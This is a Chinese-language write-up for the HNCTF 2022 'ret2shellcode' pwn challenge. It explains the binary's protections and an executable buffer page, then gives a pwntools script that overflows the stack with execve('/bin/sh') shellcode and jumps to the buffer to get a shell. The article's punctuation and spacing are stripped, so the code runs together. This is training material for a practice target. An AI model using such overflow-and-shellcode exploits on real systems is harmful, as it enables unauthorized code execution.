首页 / 资讯中心 / 文章详情

[HNCTF 2022 Week1]ret2shellcode_WP

[HNCTF 2022 Week1]ret2shellcode_WP ★ FEATURED ARTICLE
平台NSSCTF方向PWN知识点NX、ret2shellcode难度中等一、信息获取checksec存在NX无PIE64位二、分析分析源码逻辑可知其将stdout所在的内存页权限改为7可读、可写、可执行通过pwndbg可以发现buff和stdout其实是在同一页的因此要利用源码里的strcpy将shellcode写入buff并通过栈溢出把main的返回地址覆盖为buff的地址三、EXPfrompwnimport*#p process(./shellcode)premote(...)context.log_leveldebugcontext.archamd64shellcodeasm(shellcraft.amd64.sh())#调用 execve(/bin/sh) 的 amd64 shellcodeshellcodeshellcode.ljust(256,bA)payloadshellcodebA*8p64(0x00000000004040A0)p.send(payload)p.interactive()四、总结strcpy(buff, buf)也可以推测一下buff所在页是有执行权限的最后再反过来验证思路仅供参考如有疑问或发现疏漏欢迎各位师傅在评论区指正交流。
阅读完成 · 觉得有帮助?
咨询建站